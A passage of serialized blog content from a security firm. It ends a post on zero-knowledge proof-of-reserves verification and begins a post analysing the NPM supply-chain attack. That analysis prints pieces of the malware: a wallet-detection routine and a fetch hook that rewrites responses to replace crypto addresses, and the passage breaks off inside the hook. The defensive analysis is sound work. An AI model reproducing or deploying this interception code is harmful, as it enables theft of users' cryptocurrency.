Verifier Server",{"type":23,"tag":24,"props":94822,"children":94823},{},[94824,94826,94832],{"type":28,"value":94825},"To automate the verification process, we created a ",{"type":23,"tag":64,"props":94827,"children":94829},{"href":90462,"rel":94828},[68],[94830],{"type":28,"value":94831},"verifier server",{"type":28,"value":94833}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":23,"tag":24,"props":94835,"children":94836},{},[94837],{"type":28,"value":94838},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":23,"tag":24,"props":94840,"children":94841},{},[94842],{"type":23,"tag":429,"props":94843,"children":94845},{"alt":48476,"src":94844},"/posts/por/backpack-por.png",[],{"type":23,"tag":24,"props":94847,"children":94848},{},[94849],{"type":28,"value":94850},"Here is a breakdown of what fields represent and why they are required:",{"type":23,"tag":14699,"props":94852,"children":94853},{},[94854,94864,94874,94884,94894,94904],{"type":23,"tag":801,"props":94855,"children":94856},{},[94857,94862],{"type":23,"tag":56,"props":94858,"children":94859},{},[94860],{"type":28,"value":94861},"Status",{"type":28,"value":94863}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":23,"tag":801,"props":94865,"children":94866},{},[94867,94872],{"type":23,"tag":56,"props":94868,"children":94869},{},[94870],{"type":28,"value":94871},"Proof Timestamp",{"type":28,"value":94873}," --> when the proof was generated by the exchange.",{"type":23,"tag":801,"props":94875,"children":94876},{},[94877,94882],{"type":23,"tag":56,"props":94878,"children":94879},{},[94880],{"type":28,"value":94881},"Verify Timestamp",{"type":28,"value":94883}," --> when the proof was verified by the PoR server.",{"type":23,"tag":801,"props":94885,"children":94886},{},[94887,94892],{"type":23,"tag":56,"props":94888,"children":94889},{},[94890],{"type":28,"value":94891},"Proof File URL",{"type":28,"value":94893}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":23,"tag":801,"props":94895,"children":94896},{},[94897,94902],{"type":23,"tag":56,"props":94898,"children":94899},{},[94900],{"type":28,"value":94901},"Prover Version",{"type":28,"value":94903}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":23,"tag":801,"props":94905,"children":94906},{},[94907,94912],{"type":23,"tag":56,"props":94908,"children":94909},{},[94910],{"type":28,"value":94911},"File Hash (SHA256)",{"type":28,"value":94913}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":23,"tag":24,"props":94915,"children":94916},{},[94917],{"type":28,"value":94918},"Also, you can check the exchange's liabilities on the website:",{"type":23,"tag":24,"props":94920,"children":94921},{},[94922],{"type":23,"tag":429,"props":94923,"children":94925},{"alt":48476,"src":94924},"/posts/por/backpack-por-liabilities.png",[],{"type":23,"tag":24,"props":94927,"children":94928},{},[94929,94931,94937,94939,94945],{"type":28,"value":94930},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":23,"tag":64,"props":94932,"children":94935},{"href":94933,"rel":94934},"https://backpack.exchange/reserves",[68],[94936],{"type":28,"value":94933},{"type":28,"value":94938}," and our verifier server for backpack at ",{"type":23,"tag":64,"props":94940,"children":94943},{"href":94941,"rel":94942},"https://backpack-por.osec.io/",[68],[94944],{"type":28,"value":94941},{"type":28,"value":73},{"type":23,"tag":41,"props":94947,"children":94949},{"id":94948},"self-verification",[94950],{"type":28,"value":94951},"Self-verification",{"type":23,"tag":24,"props":94953,"children":94954},{},[94955],{"type":28,"value":94956},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":23,"tag":666,"props":94958,"children":94960},{"id":94959},"how-to-verify-if-i-was-included",[94961],{"type":28,"value":94962},"How to verify if I was included?",{"type":23,"tag":24,"props":94964,"children":94965},{},[94966],{"type":28,"value":94967},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":23,"tag":797,"props":94969,"children":94970},{},[94971,94982,95000],{"type":23,"tag":801,"props":94972,"children":94973},{},[94974,94981],{"type":23,"tag":64,"props":94975,"children":94978},{"href":94976,"rel":94977},"https://github.com/otter-sec/por_v2/releases",[68],[94979],{"type":28,"value":94980},"Download the PoRv2 executable from our github",{"type":28,"value":73},{"type":23,"tag":801,"props":94983,"children":94984},{},[94985,94987,94992,94993,94998],{"type":28,"value":94986},"Download the inclusion and the final proof files from the exchange (",{"type":23,"tag":135,"props":94988,"children":94990},{"className":94989},[],[94991],{"type":28,"value":94676},{"type":28,"value":9002},{"type":23,"tag":135,"props":94994,"children":94996},{"className":94995},[],[94997],{"type":28,"value":94651},{"type":28,"value":94999},") and put the files in the same directory as the PoRv2 app.",{"type":23,"tag":801,"props":95001,"children":95002},{},[95003,95005,95011],{"type":28,"value":95004},"Open the terminal and execute this: ",{"type":23,"tag":135,"props":95006,"children":95008},{"className":95007},[],[95009],{"type":28,"value":95010},"./plonky2_por verify-inclusion",{"type":28,"value":73},{"type":23,"tag":24,"props":95013,"children":95014},{},[95015],{"type":28,"value":95016},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":23,"tag":128,"props":95018,"children":95020},{"code":95019},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[95021],{"type":23,"tag":135,"props":95022,"children":95023},{"__ignoreMap":7},[95024],{"type":28,"value":95019},{"type":23,"tag":666,"props":95026,"children":95028},{"id":95027},"how-can-i-verify-the-global-proof",[95029],{"type":28,"value":95030},"How can I verify the global proof?",{"type":23,"tag":24,"props":95032,"children":95033},{},[95034],{"type":28,"value":95035},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":23,"tag":797,"props":95037,"children":95038},{},[95039,95048,95066],{"type":23,"tag":801,"props":95040,"children":95041},{},[95042,95047],{"type":23,"tag":64,"props":95043,"children":95045},{"href":94976,"rel":95044},[68],[95046],{"type":28,"value":94980},{"type":28,"value":73},{"type":23,"tag":801,"props":95049,"children":95050},{},[95051,95053,95058,95059,95064],{"type":28,"value":95052},"Download the ",{"type":23,"tag":135,"props":95054,"children":95056},{"className":95055},[],[95057],{"type":28,"value":94644},{"type":28,"value":35440},{"type":23,"tag":135,"props":95060,"children":95062},{"className":95061},[],[95063],{"type":28,"value":94651},{"type":28,"value":95065}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":23,"tag":801,"props":95067,"children":95068},{},[95069,95071,95076],{"type":28,"value":95070},"Open the terminal and execute ",{"type":23,"tag":135,"props":95072,"children":95074},{"className":95073},[],[95075],{"type":28,"value":95010},{"type":28,"value":95077},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":23,"tag":24,"props":95079,"children":95080},{},[95081],{"type":28,"value":95082},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":23,"tag":128,"props":95084,"children":95086},{"code":95085},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[95087],{"type":23,"tag":135,"props":95088,"children":95089},{"__ignoreMap":7},[95090],{"type":28,"value":95085},{"type":23,"tag":24,"props":95092,"children":95093},{},[95094],{"type":28,"value":95095},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":23,"tag":128,"props":95097,"children":95099},{"code":95098},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[95100],{"type":23,"tag":135,"props":95101,"children":95102},{"__ignoreMap":7},[95103],{"type":28,"value":95098},{"type":23,"tag":41,"props":95105,"children":95106},{"id":26955},[95107],{"type":28,"value":16955},{"type":23,"tag":24,"props":95109,"children":95110},{},[95111],{"type":28,"value":95112},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":23,"tag":24,"props":95114,"children":95115},{},[95116,95118,95124],{"type":28,"value":95117},"We are currently working with Backpack to implement this algorithm ",{"type":23,"tag":64,"props":95119,"children":95121},{"href":94933,"rel":95120},[68],[95122],{"type":28,"value":95123},"in production",{"type":28,"value":95125}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":23,"tag":24,"props":95127,"children":95128},{},[95129,95131,95138],{"type":28,"value":95130},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":23,"tag":64,"props":95132,"children":95135},{"href":95133,"rel":95134},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[68],[95136],{"type":28,"value":95137},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":28,"value":73},{"title":7,"searchDepth":151,"depth":151,"links":95140},[95141,95142,95143,95144,95147,95152,95156,95157,95161],{"id":90390,"depth":151,"text":90393},{"id":90471,"depth":151,"text":90474},{"id":90541,"depth":151,"text":90544},{"id":90595,"depth":151,"text":90598,"children":95145},[95146],{"id":90674,"depth":160,"text":90677},{"id":90762,"depth":151,"text":90765,"children":95148},[95149,95150,95151],{"id":90835,"depth":160,"text":90838},{"id":91307,"depth":160,"text":91310},{"id":93046,"depth":160,"text":93049},{"id":94625,"depth":151,"text":94628,"children":95153},[95154,95155],{"id":7289,"depth":160,"text":94633},{"id":94687,"depth":160,"text":94690},{"id":94817,"depth":151,"text":94820},{"id":94948,"depth":151,"text":94951,"children":95158},[95159,95160],{"id":94959,"depth":160,"text":94962},{"id":95027,"depth":160,"text":95030},{"id":26955,"depth":151,"text":16955},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":95166,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":95167,"description":95168,"date":95169,"author":29087,"image":95170,"isFeatured":15,"onBlogPage":15,"tags":95173,"body":95176,"_type":831,"_id":97602,"_source":833,"_file":97603,"_stem":97604,"_extension":836},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":95171,"width":95172,"height":13},"/posts/supply-chain-attcks/title.png",1536,[95174,95175],"npm","supply-chain",{"type":20,"children":95177,"toc":97585},[95178,95191,95196,95201,95207,95212,95220,95550,95558,96121,96129,96836,96842,96847,96853,96858,96863,96869,96874,96886,96891,96917,97004,97016,97041,97057,97062,97067,97273,97315,97320,97332,97338,97350,97392,97405,97485,97497,97510,97517,97528,97536,97542,97555,97560,97564,97569,97581],{"type":23,"tag":24,"props":95179,"children":95180},{},[95181,95183,95189],{"type":28,"value":95182},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":23,"tag":135,"props":95184,"children":95186},{"className":95185},[],[95187],{"type":28,"value":95188},"chalk",{"type":28,"value":95190},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":23,"tag":24,"props":95192,"children":95193},{},[95194],{"type":28,"value":95195},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":23,"tag":24,"props":95197,"children":95198},{},[95199],{"type":28,"value":95200},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":23,"tag":41,"props":95202,"children":95204},{"id":95203},"qix-malware-how-it-worked",[95205],{"type":28,"value":95206},"Qix Malware: How It Worked",{"type":23,"tag":24,"props":95208,"children":95209},{},[95210],{"type":28,"value":95211},"The attacker published modified versions of packages with code designed to do three things:",{"type":23,"tag":797,"props":95213,"children":95214},{},[95215],{"type":23,"tag":801,"props":95216,"children":95217},{},[95218],{"type":28,"value":95219},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":23,"tag":128,"props":95221,"children":95223},{"code":95222,"language":29252,"meta":7,"className":29250,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[95224],{"type":23,"tag":135,"props":95225,"children":95226},{"__ignoreMap":7},[95227,95247,95259,95303,95320,95327,95363,95375,95403,95423,95443,95455,95462,95497,95517,95529,95536,95543],{"type":23,"tag":139,"props":95228,"children":95229},{"class":141,"line":142},[95230,95234,95238,95243],{"type":23,"tag":139,"props":95231,"children":95232},{"style":279},[95233],{"type":28,"value":34035},{"type":23,"tag":139,"props":95235,"children":95236},{"style":279},[95237],{"type":28,"value":36104},{"type":23,"tag":139,"props":95239,"children":95240},{"style":245},[95241],{"type":28,"value":95242}," checkethereumw",{"type":23,"tag":139,"props":95244,"children":95245},{"style":259},[95246],{"type":28,"value":13747},{"type":23,"tag":139,"props":95248,"children":95249},{"class":141,"line":151},[95250,95255],{"type":23,"tag":139,"props":95251,"children":95252},{"style":319},[95253],{"type":28,"value":95254},"  try",{"type":23,"tag":139,"props":95256,"children":95257},{"style":259},[95258],{"type":28,"value":1268},{"type":23,"tag":139,"props":95260,"children":95261},{"class":141,"line":160},[95262,95266,95271,95275,95279,95283,95287,95291,95295,95299],{"type":23,"tag":139,"props":95263,"children":95264},{"style":279},[95265],{"type":28,"value":49566},{"type":23,"tag":139,"props":95267,"children":95268},{"style":294},[95269],{"type":28,"value":95270}," _0x124ed3",{"type":23,"tag":139,"props":95272,"children":95273},{"style":982},[95274],{"type":28,"value":985},{"type":23,"tag":139,"props":95276,"children":95277},{"style":319},[95278],{"type":28,"value":34101},{"type":23,"tag":139,"props":95280,"children":95281},{"style":294},[95282],{"type":28,"value":29295},{"type":23,"tag":139,"props":95284,"children":95285},{"style":259},[95286],{"type":28,"value":73},{"type":23,"tag":139,"props":95288,"children":95289},{"style":294},[95290],{"type":28,"value":29304},{"type":23,"tag":139,"props":95292,"children":95293},{"style":259},[95294],{"type":28,"value":73},{"type":23,"tag":139,"props":95296,"children":95297},{"style":245},[95298],{"type":28,"value":29380},{"type":23,"tag":139,"props":95300,"children":95301},{"style":259},[95302],{"type":28,"value":13152},{"type":23,"tag":139,"props":95304,"children":95305},{"class":141,"line":169},[95306,95311,95315],{"type":23,"tag":139,"props":95307,"children":95308},{"style":265},[95309],{"type":28,"value":95310},"      'method'",{"type":23,"tag":139,"props":95312,"children":95313},{"style":294},[95314],{"type":28,"value":2493},{"type":23,"tag":139,"props":95316,"children":95317},{"style":265},[95318],{"type":28,"value":95319}," \"eth_accounts\"\n",{"type":23,"tag":139,"props":95321,"children":95322},{"class":141,"line":178},[95323],{"type":23,"tag":139,"props":95324,"children":95325},{"style":259},[95326],{"type":28,"value":30144},{"type":23,"tag":139,"props":95328,"children":95329},{"class":141,"line":187},[95330,95334,95338,95343,95347,95351,95355,95359],{"type":23,"tag":139,"props":95331,"children":95332},{"style":319},[95333],{"type":28,"value":10290},{"type":23,"tag":139,"props":95335,"children":95336},{"style":259},[95337],{"type":28,"value":1042},{"type":23,"tag":139,"props":95339,"children":95340},{"style":294},[95341],{"type":28,"value":95342},"_0x124ed3",{"type":23,"tag":139,"props":95344,"children":95345},{"style":259},[95346],{"type":28,"value":73},{"type":23,"tag":139,"props":95348,"children":95349},{"style":294},[95350],{"type":28,"value":6508},{"type":23,"tag":139,"props":95352,"children":95353},{"style":982},[95354],{"type":28,"value":12205},{"type":23,"tag":139,"props":95356,"children":95357},{"style":1016},[95358],{"type":28,"value":1019},{"type":23,"tag":139,"props":95360,"children":95361},{"style":259},[95362],{"type":28,"value":12815},{"type":23,"tag":139,"props":95364,"children":95365},{"class":141,"line":196},[95366,95371],{"type":23,"tag":139,"props":95367,"children":95368},{"style":245},[95369],{"type":28,"value":95370},"      runmask",{"type":23,"tag":139,"props":95372,"children":95373},{"style":259},[95374],{"type":28,"value":1656},{"type":23,"tag":139,"props":95376,"children":95377},{"class":141,"line":205},[95378,95382,95386,95391,95395,95399],{"type":23,"tag":139,"props":95379,"children":95380},{"style":319},[95381],{"type":28,"value":37177},{"type":23,"tag":139,"props":95383,"children":95384},{"style":259},[95385],{"type":28,"value":1042},{"type":23,"tag":139,"props":95387,"children":95388},{"style":294},[95389],{"type":28,"value":95390},"rund",{"type":23,"tag":139,"props":95392,"children":95393},{"style":982},[95394],{"type":28,"value":62287},{"type":23,"tag":139,"props":95396,"children":95397},{"style":1016},[95398],{"type":28,"value":2525},{"type":23,"tag":139,"props":95400,"children":95401},{"style":259},[95402],{"type":28,"value":12815},{"type":23,"tag":139,"props":95404,"children":95405},{"class":141,"line":214},[95406,95411,95415,95419],{"type":23,"tag":139,"props":95407,"children":95408},{"style":294},[95409],{"type":28,"value":95410},"        rund",{"type":23,"tag":139,"props":95412,"children":95413},{"style":982},[95414],{"type":28,"value":985},{"type":23,"tag":139,"props":95416,"children":95417},{"style":1016},[95418],{"type":28,"value":2525},{"type":23,"tag":139,"props":95420,"children":95421},{"style":259},[95422],{"type":28,"value":995},{"type":23,"tag":139,"props":95424,"children":95425},{"class":141,"line":1320},[95426,95431,95435,95439],{"type":23,"tag":139,"props":95427,"children":95428},{"style":294},[95429],{"type":28,"value":95430},"        neth",{"type":23,"tag":139,"props":95432,"children":95433},{"style":982},[95434],{"type":28,"value":985},{"type":23,"tag":139,"props":95436,"children":95437},{"style":1016},[95438],{"type":28,"value":2525},{"type":23,"tag":139,"props":95440,"children":95441},{"style":259},[95442],{"type":28,"value":995},{"type":23,"tag":139,"props":95444,"children":95445},{"class":141,"line":1329},[95446,95451],{"type":23,"tag":139,"props":95447,"children":95448},{"style":245},[95449],{"type":28,"value":95450},"        newdlocal",{"type":23,"tag":139,"props":95452,"children":95453},{"style":259},[95454],{"type":28,"value":1656},{"type":23,"tag":139,"props":95456,"children":95457},{"class":141,"line":1580},[95458],{"type":23,"tag":139,"props":95459,"children":95460},{"style":259},[95461],{"type":28,"value":10675},{"type":23,"tag":139,"props":95463,"children":95464},{"class":141,"line":1597},[95465,95469,95473,95477,95481,95485,95489,95493],{"type":23,"tag":139,"props":95466,"children":95467},{"style":259},[95468],{"type":28,"value":13790},{"type":23,"tag":139,"props":95470,"children":95471},{"style":319},[95472],{"type":28,"value":1293},{"type":23,"tag":139,"props":95474,"children":95475},{"style":319},[95476],{"type":28,"value":13799},{"type":23,"tag":139,"props":95478,"children":95479},{"style":259},[95480],{"type":28,"value":1042},{"type":23,"tag":139,"props":95482,"children":95483},{"style":294},[95484],{"type":28,"value":95390},{"type":23,"tag":139,"props":95486,"children":95487},{"style":982},[95488],{"type":28,"value":62287},{"type":23,"tag":139,"props":95490,"children":95491},{"style":1016},[95492],{"type":28,"value":2525},{"type":23,"tag":139,"props":95494,"children":95495},{"style":259},[95496],{"type":28,"value":12815},{"type":23,"tag":139,"props":95498,"children":95499},{"class":141,"line":1614},[95500,95505,95509,95513],{"type":23,"tag":139,"props":95501,"children":95502},{"style":294},[95503],{"type":28,"value":95504},"      rund",{"type":23,"tag":139,"props":95506,"children":95507},{"style":982},[95508],{"type":28,"value":985},{"type":23,"tag":139,"props":95510,"children":95511},{"style":1016},[95512],{"type":28,"value":2525},{"type":23,"tag":139,"props":95514,"children":95515},{"style":259},[95516],{"type":28,"value":995},{"type":23,"tag":139,"props":95518,"children":95519},{"class":141,"line":1627},[95520,95525],{"type":23,"tag":139,"props":95521,"children":95522},{"style":245},[95523],{"type":28,"value":95524},"      newdlocal",{"type":23,"tag":139,"props":95526,"children":95527},{"style":259},[95528],{"type":28,"value":1656},{"type":23,"tag":139,"props":95530,"children":95531},{"class":141,"line":1636},[95532],{"type":23,"tag":139,"props":95533,"children":95534},{"style":259},[95535],{"type":28,"value":1335},{"type":23,"tag":139,"props":95537,"children":95538},{"class":141,"line":1659},[95539],{"type":23,"tag":139,"props":95540,"children":95541},{"style":259},[95542],{"type":28,"value":3874},{"type":23,"tag":139,"props":95544,"children":95545},{"class":141,"line":1667},[95546],{"type":23,"tag":139,"props":95547,"children":95548},{"style":259},[95549],{"type":28,"value":1897},{"type":23,"tag":797,"props":95551,"children":95552},{"start":151},[95553],{"type":23,"tag":801,"props":95554,"children":95555},{},[95556],{"type":28,"value":95557},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":23,"tag":128,"props":95559,"children":95561},{"code":95560,"language":29252,"meta":7,"className":29250,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[95562],{"type":23,"tag":135,"props":95563,"children":95564},{"__ignoreMap":7},[95565,95600,95657,95719,95734,95771,95810,95825,95864,95871,95904,95920,95979,96017,96042,96067,96091,96099,96114],{"type":23,"tag":139,"props":95566,"children":95567},{"class":141,"line":142},[95568,95572,95576,95580,95584,95588,95592,95596],{"type":23,"tag":139,"props":95569,"children":95570},{"style":245},[95571],{"type":28,"value":31983},{"type":23,"tag":139,"props":95573,"children":95574},{"style":982},[95575],{"type":28,"value":985},{"type":23,"tag":139,"props":95577,"children":95578},{"style":279},[95579],{"type":28,"value":34255},{"type":23,"tag":139,"props":95581,"children":95582},{"style":279},[95583],{"type":28,"value":36104},{"type":23,"tag":139,"props":95585,"children":95586},{"style":259},[95587],{"type":28,"value":1042},{"type":23,"tag":139,"props":95589,"children":95590},{"style":982},[95591],{"type":28,"value":7599},{"type":23,"tag":139,"props":95593,"children":95594},{"style":294},[95595],{"type":28,"value":36118},{"type":23,"tag":139,"props":95597,"children":95598},{"style":259},[95599],{"type":28,"value":12815},{"type":23,"tag":139,"props":95601,"children":95602},{"class":141,"line":151},[95603,95607,95612,95616,95620,95625,95629,95633,95637,95641,95645,95649,95653],{"type":23,"tag":139,"props":95604,"children":95605},{"style":279},[95606],{"type":28,"value":34078},{"type":23,"tag":139,"props":95608,"children":95609},{"style":294},[95610],{"type":28,"value":95611}," originalResponse",{"type":23,"tag":139,"props":95613,"children":95614},{"style":982},[95615],{"type":28,"value":985},{"type":23,"tag":139,"props":95617,"children":95618},{"style":319},[95619],{"type":28,"value":34101},{"type":23,"tag":139,"props":95621,"children":95622},{"style":294},[95623],{"type":28,"value":95624}," originalFetch",{"type":23,"tag":139,"props":95626,"children":95627},{"style":259},[95628],{"type":28,"value":73},{"type":23,"tag":139,"props":95630,"children":95631},{"style":245},[95632],{"type":28,"value":36186},{"type":23,"tag":139,"props":95634,"children":95635},{"style":259},[95636],{"type":28,"value":262},{"type":23,"tag":139,"props":95638,"children":95639},{"style":279},[95640],{"type":28,"value":15706},{"type":23,"tag":139,"props":95642,"children":95643},{"style":259},[95644],{"type":28,"value":1052},{"type":23,"tag":139,"props":95646,"children":95647},{"style":982},[95648],{"type":28,"value":7599},{"type":23,"tag":139,"props":95650,"children":95651},{"style":294},[95652],{"type":28,"value":36118},{"type":23,"tag":139,"props":95654,"children":95655},{"style":259},[95656],{"type":28,"value":1820},{"type":23,"tag":139,"props":95658,"children":95659},{"class":141,"line":160},[95660,95664,95669,95673,95677,95681,95686,95690,95694,95698,95703,95707,95711,95715],{"type":23,"tag":139,"props":95661,"children":95662},{"style":279},[95663],{"type":28,"value":34078},{"type":23,"tag":139,"props":95665,"children":95666},{"style":294},[95667],{"type":28,"value":95668}," contentType",{"type":23,"tag":139,"props":95670,"children":95671},{"style":982},[95672],{"type":28,"value":985},{"type":23,"tag":139,"props":95674,"children":95675},{"style":294},[95676],{"type":28,"value":95611},{"type":23,"tag":139,"props":95678,"children":95679},{"style":259},[95680],{"type":28,"value":73},{"type":23,"tag":139,"props":95682,"children":95683},{"style":294},[95684],{"type":28,"value":95685},"headers",{"type":23,"tag":139,"props":95687,"children":95688},{"style":259},[95689],{"type":28,"value":73},{"type":23,"tag":139,"props":95691,"children":95692},{"style":245},[95693],{"type":28,"value":14363},{"type":23,"tag":139,"props":95695,"children":95696},{"style":259},[95697],{"type":28,"value":262},{"type":23,"tag":139,"props":95699,"children":95700},{"style":265},[95701],{"type":28,"value":95702},"'Content-Type'",{"type":23,"tag":139,"props":95704,"children":95705},{"style":259},[95706],{"type":28,"value":1062},{"type":23,"tag":139,"props":95708,"children":95709},{"style":982},[95710],{"type":28,"value":20427},{"type":23,"tag":139,"props":95712,"children":95713},{"style":265},[95714],{"type":28,"value":29726},{"type":23,"tag":139,"props":95716,"children":95717},{"style":259},[95718],{"type":28,"value":995},{"type":23,"tag":139,"props":95720,"children":95721},{"class":141,"line":169},[95722,95726,95730],{"type":23,"tag":139,"props":95723,"children":95724},{"style":279},[95725],{"type":28,"value":5859},{"type":23,"tag":139,"props":95727,"children":95728},{"style":294},[95729],{"type":28,"value":13116},{"type":23,"tag":139,"props":95731,"children":95732},{"style":259},[95733],{"type":28,"value":995},{"type":23,"tag":139,"props":95735,"children":95736},{"class":141,"line":178},[95737,95741,95745,95750,95754,95758,95762,95767],{"type":23,"tag":139,"props":95738,"children":95739},{"style":319},[95740],{"type":28,"value":29281},{"type":23,"tag":139,"props":95742,"children":95743},{"style":259},[95744],{"type":28,"value":1042},{"type":23,"tag":139,"props":95746,"children":95747},{"style":294},[95748],{"type":28,"value":95749},"contentType",{"type":23,"tag":139,"props":95751,"children":95752},{"style":259},[95753],{"type":28,"value":73},{"type":23,"tag":139,"props":95755,"children":95756},{"style":245},[95757],{"type":28,"value":33070},{"type":23,"tag":139,"props":95759,"children":95760},{"style":259},[95761],{"type":28,"value":262},{"type":23,"tag":139,"props":95763,"children":95764},{"style":265},[95765],{"type":28,"value":95766},"'application/json'",{"type":23,"tag":139,"props":95768,"children":95769},{"style":259},[95770],{"type":28,"value":33083},{"type":23,"tag":139,"props":95772,"children":95773},{"class":141,"line":187},[95774,95778,95782,95786,95790,95794,95798,95802,95806],{"type":23,"tag":139,"props":95775,"children":95776},{"style":294},[95777],{"type":28,"value":41124},{"type":23,"tag":139,"props":95779,"children":95780},{"style":982},[95781],{"type":28,"value":985},{"type":23,"tag":139,"props":95783,"children":95784},{"style":319},[95785],{"type":28,"value":34101},{"type":23,"tag":139,"props":95787,"children":95788},{"style":294},[95789],{"type":28,"value":95611},{"type":23,"tag":139,"props":95791,"children":95792},{"style":259},[95793],{"type":28,"value":73},{"type":23,"tag":139,"props":95795,"children":95796},{"style":245},[95797],{"type":28,"value":13432},{"type":23,"tag":139,"props":95799,"children":95800},{"style":259},[95801],{"type":28,"value":28188},{"type":23,"tag":139,"props":95803,"children":95804},{"style":245},[95805],{"type":28,"value":3188